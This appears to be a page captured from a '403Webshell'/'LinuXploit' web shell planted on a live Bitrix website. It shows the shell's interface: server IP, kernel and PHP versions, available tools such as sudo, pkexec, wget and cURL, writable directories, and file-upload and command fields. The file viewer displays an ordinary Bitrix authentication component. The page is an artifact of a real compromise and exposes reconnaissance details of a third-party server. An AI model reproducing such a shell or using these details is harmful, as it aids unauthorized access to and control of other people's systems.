403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/components/bitrix/mobileapp.auth/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/components/bitrix/mobileapp.auth/component.php
<?if(!Defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true) die();

if (!$USER->IsAuthorized())
{
	echo json_encode(Array("status"=>"failed"));
	die();
}

if($_REQUEST["api_version"])
{
	$APPLICATION->set_cookie("MOBILE_APP_VERSION", intval($_REQUEST["api_version"]), time()+60*60*24*30*12*2);
	$api_version = intval($_REQUEST["api_version"]);
}
else
{
	$api_version = $APPLICATION->get_cookie("MOBILE_APP_VERSION");
	if(!$api_version)
		$api_version = 1;
}

$APPLICATION->SetPageProperty("api_version", $api_version);

$mobileAction = isset($_REQUEST["mobile_action"]) ? $_REQUEST["mobile_action"] : '';

if($mobileAction != '')
{
	header("Content-Type: application/x-javascript");
	$data = Array("error"=>"unknow data request action");

	switch ($mobileAction)
	{
		case "checkout": //this is authorization checkout, !do not delete!
			include(__DIR__."/actions/checkout.php");
			break;
		case "logout":
			include(__DIR__."/actions/logout.php");
			break;
		case "save_device_token":
			include(__DIR__."/actions/save_device_token.php");
			break;
	}

	echo json_encode($data);
	die();
}

$this->IncludeComponentTemplate();

?>

Youez - 2016 - github.com/yon3zu
LinuXploit